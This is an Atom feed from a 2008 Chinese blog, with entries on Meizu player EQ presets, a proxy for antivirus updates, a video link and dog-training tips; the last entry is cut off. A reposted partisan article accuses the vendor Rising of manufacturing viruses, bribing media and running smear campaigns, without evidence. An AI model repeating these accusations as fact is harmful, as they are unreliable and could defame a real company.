<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[皓云轩]]></title>
  <subtitle type="html"><![CDATA[积财千万，不如薄技在身]]></subtitle>
  <id>http://www.cq-hacker.com/</id> 
  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.cq-hacker.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-08-18T11:12:45+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[魅族M系列ECHOS音效]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=10" label="五花八门" /> 
	  <updated>2008-08-18T11:12:45+08:00</updated>
	  <published>2008-08-18T11:12:45+08:00</published>
		  <summary type="html"><![CDATA[HIFI追求的是原汁原味，越是HIFI越是追求声音的还原。但是并不是每个人都能接受那种白开水般的平淡，比如你用B&amp;O的A8听金属那间直就是电锯一般的声音。而EQ呢就是往音乐里添加的调味料，您的口味是清淡还是浓重，完全可以自己调制。<br/><br/>EQ设置是很主观的东西，每个人的听音偏好都不一样，有人喜欢器乐有人喜欢古典还有人喜欢摇滚电声，当然更多的人还是喜欢流行音乐。每种不同的音乐在不同的EQ模式下的表现和感染力都不同，很难有一个万金油扮的调节，sl已经入手一段时间了，我的很多朋友也是使用魅族产品，其中还有一些耳机发烧友，前些日子通过与朋友的交流并综合了其他播放软件的设置，特别推出｛ECHOS｝音效，即Extra Bass Enhancement(重低音增益)、Chief DJ Club（魔域电音）、Hyper Crystal Sound（水晶丽音）、Orchestral Classic（古典韵律）、Steel And Blood（铁血交融）.其中特别推荐 Hyper Crystal Sound（水晶丽音）<br/><br/>水平有限难免会有不足，欢迎大家讨论交流！！<br/>Extra Bass Enhancement<br/><br/>重低音增益<br/><br/>高低音补偿系统<br/><br/>低音：5<br/><br/>高音：1<br/><br/>Spatializer音效<br/><br/>Spatializer 打开<br/><br/>Spatializer Mode：Normal<br/><br/>Virtual 3D：0Phase Corrected Equalizer：2<br/><br/>Virtual Bass Enhancement：0(1)<br/><br/>扬声器类型：耳机<br/><br/>均衡器<br/><br/>用户自定义：<br/><br/>+7 +5 -2 +3 +2 +0 +1 +2 +2 +3<br/><br/>Description<br/><br/>上世纪八九十年代至本世纪初，爱华在其随身听产品上应用了DSL(Dynamic Super Liner bass)音效，即超动态线性低音。这种音效得到了众多玩家的认可，同时也是最好的低音增强音效之一。“重低音增益”便是一位低音爱好者跟据DSL的听感设置的，通过一系列的设置以期在魅族机器上也能获得震撼的低音效果，并同时保证其质感和量感。“重低音增益”特别适合聆听说唱、工业音乐，同时用来欣赏流行音乐也是不错的选择，推荐低音爱好者们尝试。<br/>Crazy DJ Club<br/><br/>魔域电音<br/><br/>高低音补偿系统<br/><br/>低音：3<br/><br/>高音：2<br/><br/>Spatializer音效<br/><br/>Spatializer 打开<br/><br/>Spatializer Mode：Normal<br/><br/>Virtual 3D：0<br/><br/>Phase Corrected Equalizer：1<br/><br/>Virtual Bass Enhancement：0<br/><br/>扬声器类型：耳机<br/><br/>均衡器<br/><br/>用户自定义：<br/><br/>+7 +5 +2 +2 -1 +0 +6 +1 +2 +3<br/><br/>Description<br/><br/>“魔域电音”是特别为舞曲、DJ迷们准备的。动感的电子音乐除了要保证强劲的低音节奏感之外，还要在中高频上突出电子合成音的风采。<br/><br/>“魔域电音”让您沉浸在动感舞池之中，来吧，让我们一起摇摆！<br/>Hyper Crystal Sound<br/><br/>水晶丽音<br/><br/>高低音补偿系统<br/><br/>低音：1<br/><br/>高音：2<br/><br/>Spatializer音效<br/><br/>Spatializer 打开<br/><br/>Spatializer Mode：Normal<br/><br/>Virtual 3D：0<br/><br/>Phase Corrected Equalizer：2<br/><br/>Virtual Bass Enhancement：0<br/><br/>扬声器类型：耳机<br/><br/>均衡器<br/><br/>用户自定义：<br/><br/>+2 +1 -1 +0 +0 +1 +2 +3 +5 +6<br/><br/>Description<br/><br/>魅族产品的最大特点就是醇厚的低音表现，温暖的音色非常适合流行音乐的演绎。但是相对而言其高频一般，解析力不足，层次感不强，成为了M系列播放器的软肋。为了改善这一不足之处，我们通过参考其他产品的声音，并采纳了耳机发烧玩家的相关意见，在之前均衡调音的基础上作了一些改进，通过适度的增强中高频来取得较为清澈的听感。<br/><br/>“水晶丽音”特别适合轻音乐、Newage、民谣及普通流行音乐。<br/>o&#114;chestral Classic<br/><br/>古典韵律<br/><br/>高低音补偿系统<br/><br/>低音：0<br/><br/>高音：2<br/><br/>Spatializer音效<br/><br/>Spatializer 打开<br/><br/>Spatializer Mode：Normal<br/><br/>Virtual 3D：0<br/><br/>Phase Corrected Equalizer：3<br/><br/>Virtual Bass Enhancement：0<br/><br/>扬声器类型：耳机<br/><br/>均衡器<br/><br/>用户自定义：<br/><br/>+5 +5 -1 +1 +0 +0 +2 +3 +6 +3<br/><br/>Description<br/><br/>有人可能会说魅族产品不适合古典管弦乐吧？那么让我们稍稍的改变一下设置，然后便尽情的徜徉在古典韵律之中。“古典韵律”参考并借鉴了当前主流媒体播放软件的音效设置，在保证交响乐的大动态前提下，提高解析力，试图让每一种乐器的声音都清晰可闻。若配合高素质的耳机会有更佳表现。<br/>Steel &amp; Blood<br/><br/>铁血交融<br/><br/>高低音补偿系统<br/><br/>低音：3<br/><br/>高音：2<br/><br/>Spatializer音效<br/><br/>Spatializer 打开<br/><br/>Spatializer Mode：Normal<br/><br/>Virtual 3D：0<br/><br/>Phase Corrected Equalizer：2<br/><br/>Virtual Bass Enhancement：0<br/><br/>扬声器类型：耳机<br/><br/>均衡器<br/><br/>用户自定义：<br/><br/>+6 +5 -5 +2 -1 +0 +5 +0 +2 +3<br/><br/>Description<br/><br/>活力动感的青春年华怎能少了激情澎湃的重金属呢？伴随着势大力沉的鼓点，厚重的吉他音墙扑面而来，疯狂的吉他失真让你High到不行！<br/><br/>要说到与重低音增益设置的区别嘛…还是戴上耳机按下播放键，让Riff和Solo告诉你吧。<br/><br/><br/>补充说明：<br/><br/>参照目前大多数MP3播放器和音频文件及耳机的响应效果及频响曲线看，比较合适的EQ调节出来后应该是两头稍高中间低的曲线，然而EQ这东西尽量调的低一些，EQ越高就越失真。因为M6的低频比较好，高频是其弱项故低频提升较低，更多的是拉升高频，使整个声音不至于太混。而spatializer主要是改善声场表现，同理如果开的太高会造成严重失真。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=102" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=102</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[小红伞升级速度慢的解决方法]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=6" label="电脑安全" /> 
	  <updated>2008-08-08T11:44:58+08:00</updated>
	  <published>2008-08-08T11:44:58+08:00</published>
		  <summary type="html"><![CDATA[一个不错的代理服务器，更新速度43K！<br/>地址:128.223.8.111 <br/>端口:3127&nbsp;&nbsp; <br/>需要的可以试试<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=101" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=101</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[瑞星为什么仇恨360？（转载自网易论坛，文中观点与本人无关）]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=6" label="电脑安全" /> 
	  <updated>2008-08-08T11:12:59+08:00</updated>
	  <published>2008-08-08T11:12:59+08:00</published>
		  <summary type="html"><![CDATA[自从7月17日360发布杀毒软件、宣布向用户永久免费后，近几天网上忽然冒出来铺天盖地的关于360的负面新闻和帖子，从360的软件，到奇虎360公司，乃至360的创始人，都被骂了个遍，格调之低下，用词之激烈，令人叹为观止。 <br/>　　从内容看，这些帖子里，有的模仿360的用户，指责360的产品存在一些莫须有的问题；有的模仿360的员工，编故事说360要推弹窗广告，煽动360的员工辞职；甚至有的模仿360的枪手，以极其肉麻和露骨的方式吹捧360，攻击金山等其它厂商，以激起网民和其它厂商对360的反感。 <br/>　　从手段看，这些负面文章，有的在BBS里批量发布，有的由某些媒体连续推出，有的直接在某杀毒软件的界面上大量放置，甚至出现在某些大门户首页的文字链广告位中！ <br/>　　从方式看，每天推出一批文章，集中在一个话题上密集攻击，一天换一个攻击点。而且多数都是在半夜发表，夜深人静时忽然铺开，同时占据几百个论坛和网站，而之后的跟贴也会无比神速地占满第一页，以把第二天可能出现的不同声音全部挤到第二页去。总之，表现出了高度的组织性和纪律性，达到了相当的专业水准。 <br/>　　这是谁干的？？又是为什么？？？ <br/>　　追查的结果，所有的线索都毫无例外地指向了杀毒行业的一家厂商：瑞星。 <br/>　　瑞星为什么这样敌视和仇恨360？ <br/><br/>杀毒黑幕 <br/>　　相对于其他软件，杀毒软的价格曾经高得离谱，动辄两三百元，这让众多用户无法享受到防毒、杀毒的基本服务，从而从侧面纵容了病毒的流行和泛滥。从这个角度而言，某些杀毒厂商和病毒之间表面上是查杀和被查杀的关系，实质上是互为依存：高价阻碍了杀毒软件的普及，为病毒的流行留下了空间，而病毒流行则为杀毒软件创造了巨大的市场。 <br/>　　杀毒行业一个半公开的秘密就是：每当国内有一段时间没流行什么大病毒、用户对杀毒软件的需求开始减少时，就会有一些病毒被人为地“制造”出来，某些杀毒厂商不但自己制造病毒，甚至就是国内最大的病毒制造中心。 <br/>　　曾经有这样一家厂商，连续几次病毒流行时，都能第一个在媒体上通报：XX杀毒公司率先发现XX病毒。连续几次这样的“率先”后，通过媒体的紧密配合，该厂商声势扶摇直上。而竞争对手一直蒙在鼓里，为什么XX公司截杀病毒的能力会在忽然之间突飞猛进？不但总能第一个发现流行病毒，还能在极短的时间里推出查杀工具，而且媒体还这么配合，病毒半夜才在国内出现，大清早媒体就已经报道了该公司成功截获某某病毒的消息。直到大半年后，竞争对手才醒悟过来：原来，这些病毒是这样产生的…… <br/><br/>暴利从何而来？ <br/>　　瑞星的暴利在这个行业里不是秘密。 <br/>　　在360诞生以前，瑞星在杀毒行业的市场份额最高曾到80%，处于完全垄断地位。近两年在360和卡巴斯基的冲击之下，瑞星的份额在下降，但仍然是杀毒行业的老大。 <br/>　　通常研发投入是杀毒厂商最大的成本，而瑞星的研发投入占比却是全行业最低。在瑞星的成本结构中，最大的一块是市场和公关费用，剩下的基本就是利润。 <br/>　　瑞星的领导人曾在某些场合披露：瑞星的利润一年可以超过2、3个亿。在一个其它厂商仅有微利的行业里，为什么瑞星的利润可以这么高？ <br/>　　首先是因为垄断。 <br/>　　杀毒软件具有两个特点：1、边际成本极低，销售额在超过覆盖成本的临界点之后，不管再卖多少，成本无非就是一张张的光盘而已。也就是说，市场份额越高，销售额越大，利润率就越高，利润总额自然就更高。瑞星的份额最高曾到过80%，而其它厂商加起来才20%，利润率自然和瑞星不在一个数量级上。2、用户对杀软有路径依赖，花高价购买了瑞星之后，很难再改用其它杀软，于是就会被瑞星一直套牢。 <br/>　　其次是省了研发的钱。 <br/>　　多数杀毒厂商，尤其是国外的杀毒厂商，把重心都放在研发上，每年都需要不断升级版本和开发新功能，因此成本的大头也都花在研发上。而瑞星自从几年前以刘旭为首的核心技术骨干大批出走后，在技术路线上就失去了方向，每年的版本升级只敢在刘旭当年打下的基础上，做最低限度的改动（不信可以反向破译一下瑞星的代码，就可以发现每个版本之间的改动极小），其它厂商每年的大规模开发升级到了瑞星这里，变成了最简单的维护和升级病毒库的工作，成本当然极低，省下来的钱自然就变成了利润。 <br/>　　甚至瑞星自己也承认暴利，媒体报道显示，瑞星公司曾公开宣扬“没有利润的事情瑞星不感兴趣”，而不管是否有利于社会。可见，追求暴利乃是瑞星公司的一贯诉求，也是该企业价值观和社会责任感的直接体现。 <br/><br/>暴利使人堕落：瑞星的技术真相 <br/>　　近日，瑞星宣布其杀毒软件“全球免费”，但问题是，瑞星敢公布自己在海外销售额吗？国际杀毒领域最权威的VB100测试，金山已经通过两次了，而自称为世界级杀毒软件的瑞星迄今为止连一次都没通过。（参见：《VB100瑞星再次铩羽而归》：瑞星<a href="http://cache.tianya.cn/publicforum/content/free/1/1186686.shtml" target="_blank">http://cache.tianya.cn/publicforum/content/free/1/1186686.shtml</a>） <br/>　　VB100的权威性表现在哪些方面呢？ <br/>1、这是一个非商业性组织，不收取任何费用，不受任何非技术性因素的影响； <br/>2、具有非凡的历史及影响力。Virus Bulletin于1989年成立，至今已有18年历史。从上个世纪90年代开始，VB100测试就广泛被业界所认识接受。由于所有参评厂商的成绩都会公开发布，所以缺乏信心的厂商一般都望而却步。 <br/>3、测试过程极其严格。Virus Bulletin将根据各大杀毒软件检测病毒的成功率，扫描速度、性能等内容来进行比较。评测没有打分，在Virus Bulletin看来只有两个结果：通过或者不通过。因为在他们看来，杀毒软件的特性决定了没有中间妥　　协的余地，对病毒，只有杀和不杀，对性能，只有好和不好。 <br/>　　除了VB100，最终能够反映杀毒软件是否被用户接受的数据，还可以从启动次数上来找。 <br/>　　根据艾瑞最新的“<a href="http://www.cq-hacker.com" target="_blank">网络</a>安全产品季度总启动次数top10”显示，2007年，各家安全软件的总启动次数都在上升，至少也是持平，唯有瑞星自2007第二季度开始，总启动次数出现大幅下滑的趋势，且持续至今。 <br/><br/>　　一款在国内安全市场上近乎垄断、广告打得铺天盖地的软件，其启动次数越来越低，只能说明瑞星杀毒软件在用户中的使用频率越来越低，用户对其杀毒效果越来越不满意。 <br/>　　一方面是高价，一方面是启动次数骤降。这一点是否能够说明绝大多数用户都“花了冤枉钱”？ <br/>　　瑞星公司在技术方面的弱势在前总工程师刘旭离开时，便已初露端倪。杀毒行业是一个技术含量较高的行业，而一个以市场为导向的公司，必然无法保障正常的研发。对公司的失望也是2007年初大量瑞星工程师离开的直接原因。瑞星的技术靠的是刘旭，刘旭被挤走后，瑞星的技术就开始一路下滑，一年一年的新版本，换汤不换药。 <br/>　　研发跟不上怎么办？不着急，有办法。由于杀毒软件的专业性，绝大多数用户自身不具备分辨软件好坏的专业能力，往往根据媒体意见来决定购买意向，而中国的特殊国情就是媒体可以收买，而用户又总是愿意轻信媒体。瑞星于是将大量的资金投入广告和公关，先是通过市场轰炸来提高知名度，再通过收买媒体、进行无休止的自我吹捧，来塑造专业形象和欺骗不知情的用户，以掩盖自己在技术上的严重缺陷，从而达到维持市场份额的目的。 <br/>　　钱那么好挣，用户又那么好骗，又何必在技术上较那个真呢？反正中国的用户傻，也搞不懂到底哪个软件技术好，只要多投点广告，多买点版面，一样可以卖得很好，何必再辛辛苦苦搞研发呢？病毒杀不了怎么办？没关系，用户又不会每个病毒都撞上，偶尔有几个查不出来的，用户也不一定会发现。实在不行就雇用论坛发帖公司，在网上的BBS和<a href="http://www.cq-hacker.com" target="_blank">博客</a>里大量发表吹捧自己贬低他人的帖子，把其它杀毒软件贬得一钱不值，不由用户看了不信。 <br/>　　瑞星在业内一向以市场公关能力著称。因为暴利，瑞星每月能向媒体支付上千万的巨额广告公关费用，从而具有极强的媒体操纵能力，在“舆论绞杀战”上可谓战果辉煌，先后击败过江民、金山和诺顿，其在杀毒行业中近乎垄断的市场份额就是这样得来。 <br/>　　于是，市场垄断导致暴利——有了暴利，技术上自然不思进取——技术日益落后，不得不越来越依赖市场投入和广告公关——特殊国情使得广告公关可以轻易蒙蔽用户，进一步强化其市场地位，巩固其垄断份额。这形成了一个完美的循环，把那些本来在技术上占有相对优势的竞争对手（譬如江民金山）压得喘不过气来，从而形成了中国软件业独有的一个怪现象，也就是广告和公关能力（而非研发）成为一家软件企业的核心竞争力，而这家企业居然因此而成为行业领导者。 <br/>　　这是中国软件业的耻辱。 <br/><br/>打破怪圈 <br/>　　可惜的是，上面这个貌似完美的循环有一个、也是唯一的一个漏洞，那就是这个行业里所有的玩家都得按照老规矩来玩牌，一旦出现了一个不按规矩出牌的竞争者时，那么整个循环就有可能被打破，维系瑞星整个命脉的链条就会断掉。 <br/>这个竞争者终于出现了，这就是奇虎360。 <br/>　　360从出生的第一天起，就与瑞星以往遇到的所有对手都有本质不同：360是完全免费的。这就决定了不管瑞星怎样抹黑、打压360，把360的名声搞得再臭，仍然会有用户愿意尝试使用一下这个免费软件，而一旦尝试之后，他们就会惊奇地发现：免费的360居然比高价的瑞星更好用，那为什么还要用瑞星呢？在这里，瑞星赖以起家的杀手锏——广告造势和公关操作，就失去了以往无坚不摧的作用。 <br/><br/>免费才是杀毒行业的出路 <br/>　　而360的免费，其本意并不在打击瑞星。 <br/>　　360与瑞星在出身上有着根本的不同：奇虎360是一家互联网公司，互联网免费天经地义，所以360从来没有考虑过在基本服务上挣钱；而瑞星是一家已经有20多年历史、思路和行为都日益老化的传统软件企业，传统企业的思路就是：你用什么都得掏钱。 <br/>　　其实任何稍有远见的人都已经能看出：杀毒免费已经是大势所趋了。目前国内外免费的杀毒软件不在少数，国内有墨者、趋势，国外有红伞、AVAST……，其中许多就技术而言，远远领先于瑞星这样的收费软件。而微软、Google等国际巨头对免费杀毒也是磨刀霍霍，意在染指。如果国内杀毒厂商沉湎于眼前利益，对此视而不见，继续陶醉于温水煮青蛙的快感中，那么等到国际巨头杀入之日，恐怕只能是束手就擒。而360所做的，不过是促使各家厂商早作准备，推动整个行业加速转型而已。 <br/>　　有一个“鲇鱼效应”的典故，说的是沙丁鱼被从深海捕捞起来后，总在渔船到岸前就已死光。但是如果将其天敌鲇鱼放进鱼槽，面临危机的沙丁鱼就会不断游动，从而激发出内部的活力，得以生存下来。从这个角度来说，360所的作用，就类似于“鲇鱼效应”。 <br/>　　再举一个例子：搜索引擎原本收费，如果不是后来转为免费，就不会有今天的百度；QQ聊天虽然免费，但是增值服务收入却远高于早年那些销售通讯软件的公司。这两家公司的免费并没有毁灭行业，而是在短短几年内分别造就了两家市值上百亿美元的公司。 <br/>　　而杀毒作为比搜索和IM更基本更广泛的需求，整个行业在中国发展了二十几年，迄今为止却只有十多亿人民币的收入规模。尤其是近10年来，中国网民数量增长了几十倍，对<a href="http://www.cq-hacker.com" target="_blank">网络</a>安全的需求按说也应该比十年前扩大几十倍才对，但安全市场的规模却没长多少，这说明传统杀毒公司的做法有很大的问题。 <br/>　　瑞星说“免费等于低质量”，那么新浪的新闻、Google的搜索、网易的邮箱、腾讯的QQ，哪一个不是免费的，哪一个又不是同行中最好的？ <br/>　　瑞星说“免费会使企业失去研发能力”，难道GOOGLE、腾讯就没有研发能力了吗？ <br/>　　再说，收费的就一定是最好的吗？瑞星的收费软件在国际评测中，为什么反而不如许多免费的杀软呢？ <br/>　　盛大把游戏免费后，反而通过增值服务，把营收从低谷走向了又一个高峰。同样，基础安全服务免费，其实只会大大刺激用户对高级安全服务的需求。360安全卫士和卡巴斯基的迅速增长，就是免费推动企业成长的最好证明。 <br/>　　所以说，杀毒软件免费不但不会毁灭行业，反而为整个行业开辟了一个更广阔的盈利前景。既造福于用户，又有利于行业，360何乐而不为？ <br/><br/>从黑老大到后进生 <br/>　　但是瑞星不这么想，因为瑞星已经有着巨大的既得利益，暴利来得很快，很爽，干嘛要放弃呢？虽然这个暴利未必能挣多久，但是能挣一天是一天，但凡谁有可能让这天提前结束，那就跟谁急！这就象一个人在做美梦时，如果有谁把他摇醒，没准会遭到做梦者的埋怨，甚至仇恨。于是瑞星大喝一声：有人坏了行规，想砸我们的锅，弟兄们抄家伙上！ <br/>　　换个角度想，有个黑老大长期在自己地盘上收保护费，但是有一天忽然有人闯进来说：“乡亲们，往后我来保护你们的安全，不收钱。”黑老大能不跟他拼命吗？ <br/>　　问题是，这个黑老大很多时候收了保护费，却并没有起保护的作用。前两年流氓软件横行，对用户的危害远远超过了病毒，但是瑞星做了什么？杀流氓软件的技术并不复杂，复杂的是“圈子”里的生态，因为杀流氓会威胁到道上其他“老大”们的利益，而杀毒软件的价格并不会因此再提高多少，这种得罪人不讨好的事，瑞星不干。 <br/>　　瑞星不干，360来干，而且免费干。 <br/>　　一直到360受到了用户的狂热追捧，瑞星才发现自己错了，亡羊补牢，凑合凑合推出了一个卡卡。从此，瑞星心不甘情不愿地步上了追随360的道路。 <br/>　　先有免费的360安全卫士，瑞星不得不推出免费的卡卡。 <br/>　　接着360和卡巴斯基联合推半年免费，瑞星不得不跟进半年免费。 <br/>　　直到360推出永久免费杀后，瑞星才不得不宣布免费一年，但是，也就仅仅一年而已。 <br/>　　从这两年看，瑞星在免费的道路上，对360亦步亦趋，不折不扣地成了360的学生，一个对免费没有任何主动性和积极性、但是又不得不硬着头皮上学的后进生。 <br/>　　最近瑞星公开表示：“免费试用的模式是互联网时代通行的行销方式，让消费者以先尝后买的方式来决定最终的选择”。这足以表明，瑞星仅仅把免费当成一种“行销方式”，“先尝后买”的最终目的还是要让用户“买”，这与360有着本质的不同。一旦瑞星把360打垮，没有了外在的压力，瑞星的“先尝后买”马上就会变成“买了才能尝”或者“不买不给尝”，而消费者又将回到那个一套杀软就要2、300元的旧时代。 <br/><br/>瑞星的最后一战 <br/>　　瑞星2006版杀毒软件的盒装定价为228元，到了2007版，价格则降为140元。一年之后，随着2008版的推出，瑞星又降到30元/年。 <br/>　　没有360，瑞星能降得这么痛快吗？ <br/>　　当然不痛快，当然很心痛，于是，对失去的暴利的心痛，最终转化成了对360的恨，刻骨的恨。既然已经认定免费的360是对自己的最大威胁，那么就要大打出手，不惜一切代价，必置360于死地而后快。 <br/>　　瑞星对付360的一贯手法是：360要清除什么对网民不利的东西，他们就先将360本身污蔑成这类东西。譬如360安全卫士，明明是最受网民欢迎的流氓软件清除工具，却被污蔑为流氓软件；360杀木马，于是瑞星又说“360本身是木马”；如今360即将推出弹窗拦截功能，结果网上果然大量出现了“奇虎要大做弹窗广告”的谣言，正是这一栽赃手法的一贯体现。 <br/>　　之前，瑞星曾经用同样的“舆论绞杀战”对付过江民、金山、诺顿和卡巴斯基，可谓战果辉煌，而消灭360将是瑞星的最后一战。只要能消灭360，那么凭借360而迅速发展起来的卡巴斯基也将成为无本之木，至于江民、金山和诺顿，那都是瑞星的手下败将。只要能消灭360，瑞星今后在国内将不会再有任何对手。只要微软GOOGLE不杀进来，那么中国的杀毒市场将是瑞星的一统天下，价格想定多高就定多高，技术再烂你也得买，因为你别无选择！ <br/>　　这是一场完全不对称的战争，战争的一方是暴利的、拥有庞大资源的瑞星，另一方是新生的、免费的360。瑞星一年的利润就超过了360成立几年以来的全部投入，相比之下，360只能算是一家小公司，由于坚持免费，自公司成立后一直在亏损，更没有做过一分钱的广告，在媒体宣传上只能甘拜下风。 <br/>　　好在公道自在人心，产品好才是硬道理。360的全部立身之本就是以免费的方式向用户提供最好的<a href="http://www.cq-hacker.com" target="_blank">网络</a>安全产品，如果瑞星认为仅仅靠广告和口水就能扼杀新生的360，那么，这无疑是对一亿四千万360用户的最大侮辱与低估。 <br/>　　这是一个选择：支持瑞星，回到一套杀软要卖2、300，但却连流氓软件都杀不了的旧时代；还是支持360，将免费进行到底，让瑞星这样的垄断暴利企业彻底退出历史舞台？就在于你、我、我们每一个用户的选择。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=100" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=100</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ 少林武僧T台陷害名模]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=9" label="搞笑幽默" /> 
	  <updated>2008-07-10T11:17:58+08:00</updated>
	  <published>2008-07-10T11:17:58+08:00</published>
		  <summary type="html"><![CDATA[<p>我看了一下，太搞笑了，不知道那些名模平时走路都不长眼睛吗？</p>
<p>&nbsp;<embed align="9" src="http://player.youku.com/player.php/sid/XMTAwNzkxMTY=/v.swf" width="480" height="400" type="application/x-shockwave-flash"></embed></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=99" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=99</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[养狗狗的方法]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=10" label="五花八门" /> 
	  <updated>2008-07-09T15:53:17+08:00</updated>
	  <published>2008-07-09T15:53:17+08:00</published>
		  <summary type="html"><![CDATA[话先说在前头，如果您是一位捍卫”狗”权的斗士，觉得养就是宠物，要拿来疼的，因此无论它是乱吵闹，乱咬东西，乱大小便，您都能忍受，那么内文述您可能会觉得有虐待动物之嫌，或是您正准备养一只小狗，却又忧心没办法好好调教，那么你就要牢记每一”小撇步”。这些都是由训练师的经验累积，确实又有效果，而且都没有提到要用鞭子打骂，所以大家尽可以放心。 <br/>　　 <br/>　　很多人都以”人”的观点来调教自己的宠物，虽然狗走入人类家居生活有一段历史了，但不要期待狗来瞭解你的用心良苦。台语有句话叫做”宠猪举?，宠子不孝”千万不要忘记，无论在怎样可爱的小狗，它的本质仍是一头伪装过的”狼”。狼是群居的生物，维持一个族群有秩序的运作不混乱的方法，就是建立尊卑长幼的阶级制度，下位者必须对上位者绝对服从。也就是说，在狗的心中，家里的每一个成员定位是固定的。常常有些妈妈会抱怨：“每天都是我喂它吃饭，带它散步，都是我一个人在照顾，我老公虽然几乎不曾照顾它，但它却只听我老公的话，为什么会这样呢？”就饲主的观点来看，当自己在照顾狗时，就里所当然的以为狗会视自己为主人，顺从的听取自己的命令。但事实上狗狗心中真正的想法是：“这家伙喂我吃饭，带我散步，为我洗澡梳毛，只要我有要求她就能满足我，所以我才是老大，她是为我服务的人，是比我地位更低的从属者。”你觉得事实是不是这样呢？ <br/><br/>A. 散步篇 <br/>　　养狗时，要每天带狗外出散步，似乎已经成为“养狗之道”。因此，当想要养狗时，饲主要必须每天早晚在固定的时间带狗外出散步。但是，不知道大家是否瞭解，每天固定在同样的时间带狗外出散步，反而会让狗变得任性刁钻。 <br/><br/>　　狗对时间十分敏感，如果每天早晨六点，傍晚五点带狗外出散步，只要持续一星期，它就会记住这时间。以后每当接近“散止时间”，狗狗已经做好出门的准备，如果饲主刚好在忙，它会理所当然的催促饲主，焦躁不安，甚至持续吠叫，。在现在公寓住宅的环境，当狗乱叫时，为了怕邻居抗议，饲主就会按照狗的要求，立刻带它外出散步。长期下来，这种“受到狗的逼迫，不得不外出”的行为，就会危及饲主的领导地位。因此在调教的重点在于散步的时间不能太有规律，无论几点去散步，都必须配合主人的方便，有时候，甚至可以“今天不出门散步”。只要不决定一个固定的散步时间，狗就不会焦躁不安，也不会在特定的时间吠叫。“今天的天气很暖和，我也有空，一个人去散步怪无聊的，我就带你一起去散步吧！”从小时候就用正确的态度调教狗狗，相信带狗外出散步就不再是每天烦恼的例行公事了。 <br/><br/>　　此外，有许多饲主将散步和便便视为“配套作业”。一旦养成了习惯，就真的变成不外出散步，就无法排便，排尿，为了避免爱犬蹩尿影响身体健康，因此一年三百六十五天，不论刮风下雨，都必须带著报纸，塑胶袋，被爱犬牵著鼻子走。但是，一定要在户外大小便并不是狗的习性，而是饲主的“调教”，才造就了在外四处撒尿，随地大小便的狗。因此，从小就必须将散步和排泄分开，可以选定家中庭院或某个定点当成狗狗的厕所，让狗学习只要带它到那里，就要让它排便，排屎，以后不管刮风下雨或锋面来袭，都不必为了爱犬的生理问题发愁了。 <br/><br/>　　近年来流行像拉不拉多，黄金猎犬等大型犬，因此以下的情景一定常常见到：“壮硕的狗拼命往前冲，牵著狗链的饲主被拉著不停的在后面追。”这种情代表著力量逆转。狗会擅自去自己想去的地方，饲主在狗的带领下，只能追著狗跑，根本无法控制狗的行动，就容易发生问题。例如，看到其他狗就怒目相血或吼叫，甚至冲出打架，造成咬伤(不管打赢打输)，或是主人被拉扯跌倒。之前说过狗是群体的动物，群体活动有助于狩猎维生。和主人一起散步也是一种集体活动，即使不是狩猎，狗也会感到兴奋，尤其当散步路线固定时，会使狗产生强烈的领域意识“这是我的地盘”，当看到他人入侵时，就自然地采取攻击的态度。惟有主人处在领导地位时，才不会让局面失控。所以平常饲主必须掌握指挥权，将狗带到主人想要去的地方，不要让狗走在主人前面，变成狗在蹓人，而不是人狗。训犬师常利用“带领训练”的方法，这方法关键在绝对不能和狗的视线交接，必须完全对它不加理睬，也不能对狗说话，不要紧拉狗，让狗保持一定的松，当狗走在前面时，立刻改变方血，血相反方向前进。当人在改变方血瞬间狗会拉紧，狗的脖子会感到不舒服，但是因为彼此视线没有交接，它并不知道主人在“搞鬼”，于是就会听从人的方向来前进。当它再次走到主人前面时，要再度改变方向，要按人的喜好走。由不同的人持续进行这项训练，敦果会更加理想。 <br/><br/>　　